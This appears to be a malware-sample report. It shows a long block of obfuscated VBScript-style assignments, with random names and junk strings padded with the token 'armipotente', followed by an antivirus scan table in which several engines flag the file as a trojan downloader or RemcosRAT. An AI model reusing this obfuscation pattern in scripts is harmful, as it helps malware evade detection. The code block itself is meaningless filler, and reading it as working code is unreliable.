tNcjgAzKGAeGLci = "LlPLWGWtUJtpbNA"

WOxbLiHUbKNIlAL = "maItzNkCSWePfeB"

epjGWWTLWQdkQaW = "narmipotenteiWBLRKLKtLWh"

WGTmGdoUmkiWoZk = "LNhitLZdLhiZfaH"

dmKGAIApLGApkRo = "PxKNdWRcLAsuvlC"

zzzJoWkWZCNkoiL = "zlKdLSBKCKhpWvc"

zGRZOmKKklZBhff = "gleAqKlBWTGWudz"

kvmGcmfbmiAPSKL = "oKWdGALLIlLeoLK"

QKGKeLLbKnOzqPL = "uWKOdbqoCpUGuBe"

KbUtRmLKhcCWnZb = "khckWWGzRZmKfLi"

nImKCulhqrzLmJp = "kKAfLhKdBIoiPAK"

zWtdnNthqKWbWpu = "bRALhqkPdtfGlWL"

LpiKkiLfLPjtPhL = "mAaBBIWgxrhhKiK"

oWocbtdmbUBhhzb = "cctLlWNGcGGbmLd"

KcaiUnWzcQuPUKc = "HcZfGfiZtBAzWNC"

NvUbZWkoPIfULbW = "KNipuvZfUbCbPeN"

kncWqQcbkfHKWJm = "NdNciqphWCaUoAz"

iAzLtOBaZtuKGcW = "zAtLmAKqziWcJNp"

NmNUveeWWRNiPWa = "qmoLbKAfzmlLLip"

aOfnkqdkWLAaNiA = "LLLgzUWKWBoimKh"

bCtKkhKLAWeZLLl = "LZPLAWdpNKoLBvP"

WbSePqGopGfNxqc = "LohzLRzLcsKeZLc"

PhLxglsJdeoKzri = "WWpvQarmipotenteGjWebLzi"

hcLsHWWzZiNGcWN = "iUnNmfuKarmipotentebioKU"

iktfRkpLiPmKKnG = "oRmAWlIbkQWWmxB"

ntpWWLcOOCSLadb = "bWzKWAikfKkpqKo"

GBGuKarmipotenteniPboWtN = "fiLCBWpjqpTaWkt"

rLWzxfLzBUiUqaL = "WjGWWhUzbajlRiL"

AnaOIfGOqeqhnGm = "UmeACiKcBvWGogG"

PUCKWiiqveiPHnB = "WLOxUhUGiKRGALg"

qLPLaGWiOuuUbcZ = "WdnOAWIWOhcRHio"

uAdBhOUOlLqKobK = "LWcqWJxCWenvLpe"

zniGATWpGQChWPa = "xKkccWLzzLKumLC"

nKUGiKAUifWKacm = "SfOkLSWstRKecid"

kZUifqbAAausWoK = "rWULURPvCoZNdQT"

ezLhLtmeiohWthc = "KNBhcddeLqWbZuZ"

PkoLcKKWhiWGKRz = "aKefNJepLkWLHKm"

eludpidliWpaJqi = "PtmBlzoKBhadNfe"

WWxfPhzimoGecfo = "mefLcdzhAaUtLsT"

GuLLfLLLkNzpcgi = "jGWZpPoTLkmiWNa"

GWpNOfSaPALBciQ = "LLChLWqgObBIbpC"

WeTPIiZknxCULik = "maLAxZNKiKUpkxi"

xmLLvPkjAPWCmnS = "ULxLGxeLhTULGpg"

PtfSLWztLRdZUzh = "OmKLCRWGzgZxPiL"

UGCihmBWqdAkkRP = "WPUCopLNKomohWp"

chOacvaiKHbBWGx = "LucKnmfnPZUUPuK"

BAiNfctORALkKok = "LudbWcWiemaAisx"

dcLBSsdqakWSTib = "bIkcWihBLGGLATK"

WKZzHuzkkBdAzUW = "efNdtnPozWGiooG"

GiliKCiItUNbUpG = "NQJLccfrlGWALHk"

cbKkRWZvolhARgz = "PiAcJoLfLSlLbNe"

RAKWZWizmWaQfIL = "tavWziohxWmRNrb"

KcfmWNzAWzLozmW = "NUZAqpJLhokiziB"

xPzKmLUczvjzGOi = "LGZxbKqdgWtRKfp"

uULAchccdSuoWkk = "xgKbWaCkeSbiWBW"

JiLKKWCCbWLPWLL = "xKPUKGWRPfQLqze"

eGGQWzCKcKLhbdP = "xzLhbktipAkkGzO"

mUbcePUAkNqlLlG = "GGQWKsxZHoHZcNT"

cAmKfZNWGfeOCZI = "dlPLKcCWuLeUKLL"

znmicqnkGcPceoa = "WBULlLUiWqmpKKh"

jItCSLWkWcjLtIG = "oePGkLPcGfCmoZh"

zaOovLOfKfhHAWa = "zBarmipotenteTqhLskAGoRR"

OibBezWPmNpoKCi = "jAnKAGAxWCQCLpi"

GifCUWrZlUkkjPA = "genflcdSifeZikp"

fdbWcCLsbbWWlkW = "hJqmNfogjKexKGb"

cTaUWBUZeipncmZ = "PxsUgceRicckcUi"

mapmLpHKWziKoic = "CImKuAWOmWUWWLN"

kkGibcWrlunGGoz = "WLWWfWWamPGhLTf"

RzRURuZBpNPpScP = "zrbiGbmGxiWWrnP"

qAWxfGvLnmiZGhk = "cQehababWaIcLgk"

tmTdGrhkzLWUjUl = "ctkKkinimZAdiWL"

mUbficGJnAzWmBN = "totWGpixiuaWTRm"

iLiarKhWhtmGqtS = "NKhWLiiLWizLnUe"

iceLLroWzpWiGLc = "fiiAKzKhlAWKZHf"

QNQLCKcsWWzLGLL = "qLxkGWgAzJcCufU"

AokinLrkubWWkKf = "GiWaAekdWckNCcW"

mWTLUGiBWLWWqZW = "aWmZZZZjBZOWWUC"

BWnAWllRqxlhLia = "PxQbWbjKcAPLqeL"

cTLWRAUxlNnGziK = "cCitKafiiZAUKOL"

CRecCbmkGfpbULn = "qBCiWiLiLieKhGW"

WctuqarZnWLkzSG = "bAOciLKGWSmKTpi"

iqhkLeQdapUPTpt = "WPKWstiKKNlgtTe"

gGGWOWtWWGhbTiL = "RzRdxkAtWhWNWKP"

WKHLSKnWGnGWdcW = "BciktjNCaKRLnsG"

piKLkCGNPLhWWen = "KLGPLpWUUJcApWB"

TUhKKLNORdGteAA = "kxLlhzbmKpLaLiG"

KWGGWarmipotentePKpJLKpP = "LudOdRmgjUilzkj"

kWRKLLiozLBicCh = "ULxlNUQNkcoiOpK"

CLcjksfaRpdGeGh = "QWOLLppzaKmscip"

KApfKJKzLZzALZb = "coifKhiZKGfWeUt"

xKUdLLWNpUQUcLU = "uicciPqkixdAhpL"

WIgPgCxWzconAIv = "kcekcCLaWKRWcCh"

KWGCGaIcIAGfAGz = "TLHGWdtWzKxiWWk"

WjCHuULaUBcAPWW = "sKNNjbkoophKqhc"

GpWaAWJPGqWGGUq = "RhULZzWevWWOPzP"

WuzSxLSGeuGGRzW = "LarmipotentezihjbZaizsKp"

cAIAWKzoKuaCLGB = "LNqcmzpBLWautKr"

OGUZBiCPiABcepk = "PnzuIBfCtntLZfp"

fJlLikhBzjZNRIp = "LHqUgWUeGkicSRL"

WSoABUBhWcWccfW = "GLLooxcBGLRfqeZ"

UxPLLhdhUfLKAKU = "PhaGAciGCSmGoKG"

KqcfGJLicnRSKcP = "KxKuLGRHcmWqKdW"

RLGKKvuHcHKlhKm = "fULqemmktdmKhnn"

xGkQiTguheLWfLL = "KUKZNdCqZccWpmi"

joevOzfbtUWAZPA = "cckKKUedzLmzdfe"

NWluLWoBgeLdiZn = "GLvckZJpmzkLaZB"

LnLBatLfeGLeWcn = "oLKHdAApzsLkLbL"

mlzUKnOjcRTGLLG = "arGNBIklriiPlan"

cZLitmUHNiWNOGL = "CmOqiUjueJxoecv"

fcxditctRKcKCeI = "jbdiNcpKWxZfNqh"

WKZcWHkiGGkPOpj = "ooaKhcaGbNNZKCi"

ICiPiGSsNAxLiAP = "GcJLLcmiufkWKcW"

UPphidBdcUWPlAe = "ZULWRfnLKbWKNbW"

fKkWLWJtLjWWiPk = "mINWiinAihWRgbO"

cJCKLvvTcBGWkLg = "KWlOmmLcCckNGKH"

ckWcdoLGKLrifip = "KhicpWfzLiLehcP"

otKkLKPiKULivbU = "oCAexWLBLbcUmxJ"

kiWLQeGiGLGxcLo = "ZLcPUclBLkkscPm"

LAUCPoRqnWvHNhU = "biiQdpGcvnxWzdB"

zicJpheLfbPCIPt = "WWnKfhGCeiPcKUh"

KRPbCrgKzhfhjUe = "WnpfIffhbWWLzLB"

SKbGcPhkPiBiLSi = "cfopeWdnPafLSqi"

KBnpmoZhemcWOef = "jioeKJRlZBOGnAN"

mAGHdLpLGPKBKAk = "WnoNeLGkGUmcuLd"

joAAWosxcKLeoci = "dWWaRefGbtpSmtb"

BWkGLekHcxPBGQp = "KNbfWjWaLeGLKzk"

LLfUbqPKfkfLcIm = "gfaafWUQULNTczp"

oPcPnJNWIipeeUz = "cLxqhLzitLJcZcO"

WOLlBRLiNSqKKuk = "LNlkRKbkPorNUcb"

nbGWLarmipotentezKocsZoG = "cfaLLlNsOiLPGiL"

JzneaZLuhWpcpvq = "KcUCLNkbKWKWQLK"

kBNpikmLpBGAWGK = "SrjNILlhPixdTOd"

TKNWZdNKeNQkcqv = "cWjWTpqOutbZgUc"

LkWWLWAxUkLUeWf = "TZmdOojpAocWqUk"

BaiIuOiszOLbfkK = "BLcWNKzZWniPKgz"

kNpBKuNPleaPWud = "kziezLzcaLtBOcZ"

KLifNWiginKLKef = "AHbZLWqWUbUjeGd"

qiLQGKLbWGGWUKU = "UNznkCGmmNpPUKn"

GPWGKknnPhCZGKk = "kTJLiIPGOaWmxie"

WTGuORtUKUaLWRh = "BzhUjjNUWszLbbC"

GKiUWpNNiTWfBqW = "ctcoAgWxWzWaWlZ"

WmcehxiWKhWiWGg = "pmqfzokmZhbUoeW"

ccAbOOChdtuksko = "ijPIGGWxGiLfBWW"

QKcuKpuuPLzidRz = "zJecRWKPuUvIzGu"

gldUmAPdGLuGaai = "tcfimNkddKAKmtJ"

CtzeLnZOoqnirGt = "fUrPhKzdqSLAUGd"

mLLdPofkuNUiWtq = "rLkNkrWPLWLLzgA"

CkqnPZzWhNcGexv = "fPRKiZsAccbiWKL"

NtozLKPWaGeaicB = "ZLfSRShKZzKeZPW"

LbcWZkkZeZLnizL = "xpGihgKukWCcpLu"

OGKZLcLkkdLqLKt = "GLqneSiGlLAOoGA"

kZAbrTAniIAWWqI = "WibPhccOZlzLkuZ"

mikKPaGKcCLtLlW = "WCcLiWcuuuLhbzA"

LsnlKccZtfpULcN = "WbvkWnGWzRuiCGx"

WpktCLUWclSSLpb = "OzoKoHKRKiRWRzN"

zKIlGqcaPSxLeCi = "QURZKoImetPTNQZ"

eIRKqmWOhWGAkmU = "GGqfkpttfpGezKJ"

UiLAzzLtCGAhGog = "lxKjcUvZKfjrKeN"

LWPpsWbimkWtnuN = "WLeiOmmmdNdqLpb"

hKGpcuGbRtdNCBZ = "RWmdtbUGZcikmkc"

LNIGGhIheOintkO = "ieLeOUfbAWdftiR"

WmPLbbGzPaKrKdb = "OKpLKLWcWqLvLUG"

uLohLSKZaBbfdcW = "WiPbdPLWCnzLbeL"

WmckGcLWWKKGIRA = "ouccZimGWbLCuLA"

WcahjWAWnIWJqka = "iUJcGCnrmrZiLqO"

egalhlIiGiisLNl = "iILLQKULxuKLLhi"

pLlalreKokiaeLt = "lmUzGWxNzniWWWx"

larmipotenteilZGWWOlfpKc = "hiuvmKCGLmfLKWB"

WWKeuLLeQLieLvU = "xLboKgxnoizaJWi"

dGhhGeKLLWPmsxL = "WLhfKlefZLoWpzo"

LKLbsCLHPKUOzHc = "TurBLoqipRpciUW"

zUWALNWtmLsUGPK = "bLWGixNGlKWCccm"

ihGJpzevKhhccWW = "kLUWKKCPuxsxSLZ"

LHLINOUNCZuoeRW = "cGLWzcgdbUaoNie"

lbqnhndbpLiqbAQ = "sWKkxTfoxLrLfWG"

UWfckGGitKWcZKz = "WNjOQuKHbzAUoal"

SgWOnTZGSHsPAuW = "ZvoanoBtORtOgjr"

kgASpbiLmKuGqog = "GLKGCqLGzGKUKWS"

pTiaChAKQkGzcvK = "ARkUfNZfczLdJUP"

KhLgGLjGvPmiRWc = "KicKqRLoWZBWcAb"

oAUWhHCpeibTCvA = "qrNURLibBIWNteh"

iULLPOGpgGknjlc = "UskbAKkNomIALcp"

fWBlKcgWAoNGBsK = "WOfcLzbUTiWZjGi"

LeNioCLzhaijQLZ = "gLbALuKLijmzcLs"

boznWKLWPnLGsaG = "knJhlLLLUUnZASq"

xkBGWkGLpLfpOWc = "hALBitGtcuZunxk"

bKWKLUiAKRaBAWo = "iWHehikiaUmArvi"

uWdfLbsGcihLUfP = "kkeCqCfChLaSgBW"

HrtiLWNGmhcPAGb = "NeReRkNGjqLLWLl"

nOGIkImxUUiUpiL = "UeUbWmbPWtAbgWh"

UtatikLAiUOxPUA = "xvLiLpCrWcWKLZK"

KLxLtbZaLpelceP = "niRUaQLNWimbZjU"

fNNPzGkTiinKAWW = "LCWRWLPoWWqWviU"

BbGdWKZKkWLBoAK = "WKUAmbzLAUWSaWe"

NtkRWWgUWebKqia = "dfLUSkBWWAUokqL"

xaqiciZITAuKcKW = "bWrzKWTLLWeuZNj"

xfmKWLKkpsGibBW = "bfAUkxWOSWBkGKc"

pZLzitJZeLmLpqW = "fSvipkBzWffckpS"

LBUJmGPkTeLcLQL = "fLGeKLAkpnNGWbh"

WKRimKCcLNfKCKK = "mhqtearmipotentearmipotenteLvsdeo"

LfuaLLgqKxgeKUT = "mLWzhRRZZWbKAbL"

ilOUviWWNZoWWLU = "csLaUlZGtodWKsN"

bWkWGHgjiiJmkLP = "HWfnfocLPiLAUNa"

WNeLPKcRPBbbfkZ = "nLqIUHURLKxztKm"

eWiHILhdNWPkKGB = "LLCLWjhPHuRWibL"

cWWfiGWWedCpfoW = "mifLQtWkmBpUKCd"

WAUUtNPRbLxBZKR = "ZWCooLGeAKLgKfN"

fbeGcoSpkbfPiNm = "KAKjbhLhiGppuzG"

LoiboctWbocLkZL = "ckAvNCgtNKcersm"

oWWlfqNUkLkQCRR = "aLLuULOTWNClZsN"

CksWWxALKbbLKis = "RinkUZLZklPqLnh"

ixKPWeZlzhuiitG = "RiLWNtRpsGULUJs"

kuULHGmtAKnhNWm = "zLdUncOtnNPlxTU"

zpBLUlGOtLieWnU = "UhtKLqpZPlBhWUO"

elWWlcLnmAOKkLf = "BeAUbKKhWGzWmcu"

GUbBPWoctOjWGlz = "pKjbszrAhcehPQB"

ApfbhmiRbHivWNZ = "GHpWpLeaLciKuGU"

QAKRWGgLWcNxGLP = "LimbizpeLuKCvPK"

KiSWzlLzmdNccmZ = "GdLuCIfnULmAmUU"

WgbKRkOarmipotentezLkChe = "GKZkcKGJOKBUPzL"

IWuWWfGipAnbcWp = "xxuGihQLbaPGbLA"

LhihpLoZKTLOihd = "ZtnLcBGUPBtdLGS"

oeWUcIQNxKknPUZ = "rqGxiGRZelKLKWp"

rdZBaWhvfiuPZWo = "HnkLioWqJoimcOP"

GHzWPteBmCcWiKG = "GlBzQmGRoKzLOWU"

UmzOINhWarmipotenteLPmtL = "pocntPPHZtQGxcr"

LfeWfhGZfHpigAf = "ZBRciBhzZqkWGSW"

CnhGzzWBKuzWCpL = "liGrGnKTNskkKpG"

sKPKWPlGiffsGLO = "KGLLqWOKWJkxfiJ"

CWBrpqLzPduaAAi = "KZLWWKijKeoGipI"

zLrabqfkLmRCppW = "LWiJiGiPHKLUiWc"

oKnhhKQzenKPWWg = "csLWJLUccSGzkRK"

mPkKKmGfcfCGCPQ = "LLoguAeWnPKoWpz"

KnNbSKimzhtOvzJ = "cfNkuBUCmAcTNqk"

mmiiqWigLiiNiLq = "KppjWSezRNKhRiu"

vxUPkGbrocKLdKj = "WdLeOUkNKkLmhGZ"

uUhkQKUeiLGpWkx = "iJQzNcpneCLousz"

odRPPiWSZQeGqkk = "AiiUBriPfeiGdBI"

qBUcWpmgaPCGfmL = "iKkWGZKCgucUaih"

KqsACiWmfeKHNAG = "pKkBGbkbkcqNSAi"

sBLUPPQxgUHLRjC = "iGbfiZLUPPWLgNZ"

mLLciAhKuKUdvLe = "xZniLeWmziZkgOL"

ozqiWNnhclmSpaL = "LZdPbWOUkiejpmi"

ZGKLdaxiebWWWOU = "hsLdkZLBWiucRmB"

bTblJQxfKZtWLit = "elKLupULaLtALkW"

ApkKmLqLIeKeWos = "zaiKdlKCPnLWppB"

hjkZcPHURWASWfN = "LmLpLilJoRAWRGK"

iPKkLRTkixZCtZo = "ZOikLLCCcPiLPLr"

xknLKfitLtcTLma = "PPbAdKflPaKcpWL"

xpSpKmLLzKGWNqN = "eNWhLrAKZuOWibW"

qKxTBuoKIWGLbod = "ClWdlbOftTkiGhi"

cJOPWmzcdRAilWe = "LWZSuzmfLtAUeWU"

KRLIZWshfUezReZ = "TNkCepdWOkpeGxd"

UWPNHbtpeTLipKG = "BlarmipotenteiLAWvbcbpRW"

Antivirus	Signature
Bkav	Clean
Lionic	Clean
tehtris	Clean
Cynet	Clean
CTX	Clean
CAT-QuickHeal	Clean
Skyhigh	BehavesLike.VBS.Trojan.np
ALYac	Clean
Malwarebytes	Clean
Zillya	Clean
Sangfor	Clean
CrowdStrike	Clean
K7GW	Clean
K7AntiVirus	Clean
Baidu	Clean
VirIT	Clean
Symantec	CL.Downloader!gen11
ESET-NOD32	VBS/TrojanDownloader.Agent.ABBQ
TrendMicro-HouseCall	Clean
Avast	Script:SNH-gen [Trj]
ClamAV	Clean
Kaspersky	HEUR:Trojan.Script.Generic
BitDefender	Clean
NANO-Antivirus	Clean
ViRobot	Clean
MicroWorld-eScan	Clean
Tencent	Vbs.Trojan-Downloader.Der.Ckjl
Sophos	Clean
F-Secure	Clean
DrWeb	Clean
VIPRE	Clean
TrendMicro	Clean
CMC	Clean
Emsisoft	Clean
huorong	HEUR:TrojanDownloader/PS.NetLoader.aj
FireEye	Clean
Jiangmin	Clean
Varist	VBS/Agent.BOX1!Eldorado
Avira	Clean
Fortinet	Clean
Antiy-AVL	Clean
Kingsoft	Clean
Gridinsoft	Clean
Xcitium	Clean
Arcabit	Clean
SUPERAntiSpyware	Clean
ZoneAlarm	Clean
Microsoft	Clean
Google	Detected
AhnLab-V3	Clean
Acronis	Clean
McAfee	Clean
TACHYON	Clean
VBA32	Clean
Zoner	Clean
Rising	Clean
Yandex	Clean
Ikarus	Trojan.VBS.RemcosRAT
MaxSecure	Clean
GData	Script.Trojan.Agent.N8OSWA
AVG	Script:SNH-gen [Trj]
Panda	Clean
alibabacloud	Clean